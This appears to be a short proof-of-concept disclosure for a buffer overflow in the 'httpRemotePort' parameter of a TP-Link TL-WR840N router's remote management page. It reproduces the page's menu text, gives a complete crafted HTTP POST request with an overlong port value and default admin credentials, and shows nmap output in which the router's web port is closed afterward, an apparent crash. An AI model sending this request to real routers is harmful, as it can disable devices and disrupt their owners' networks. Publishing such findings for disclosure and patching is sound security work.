

tp-link tl-wr840n

hardware version: v6.20

firmware version: 0.9.1 4.16 v0001.0 Build 180614 Rel.40494n

Security-> Remote Managment

TP-Link

TP-Link Wireless N Router WR840N

Model No. TL-WR840N

Status

Quick Setup

Operation Mode

Network

Wireless

Guest Network

DHCP

Forwarding

Security

- Basic Security

- Advanced Security

- Local Management

- Remote Management

Parental Controls

Access Control

Advanced Routing

Bandwidth Control

IP & MAC Binding

Dynamic DNS

IPv6

System Tools

Logout

Remote Management

Web Management Port:

80

Remote Management IP Address:

0.0.0.0

(Enter 255.255.255.255 for all)

Save

App

"httpRemotePort=" parameter buffer overflow.

```
POST /cgi?242 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: */*
Accept-Language: hu-HU,hu;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 117
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/mainFrame.htm
Cookie: compact_display_state=false; user_ip=0.0.0.0; device_mode=router; user_login=admin; device-session-id=0f6c4f8e7a7ab794ef6e4d13269f759; JSESSIONID=9a5b68b06e0f5330ab8da99ffb111; Authorization=Basic YWRtaW46YWRtaW4=

[HTTP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2
httpRemoteEnabled=0
httpRemotePort=80AAAAAAAAAAAAAAAA
[APP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,0
```

```
C:\WINDOWS\system32>nmap -sV -PN -p80 192.168.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2022-03-06 15:52 KzÚp-eur~pai túli ido
Nmap scan report for 192.168.0.1
Host is up (0.0034s latency).

PORT      STATE SERVICE VERSION
80/tcp    closed http
MAC Address: C0:C9:E3:32:6C:12 (Unknown)
```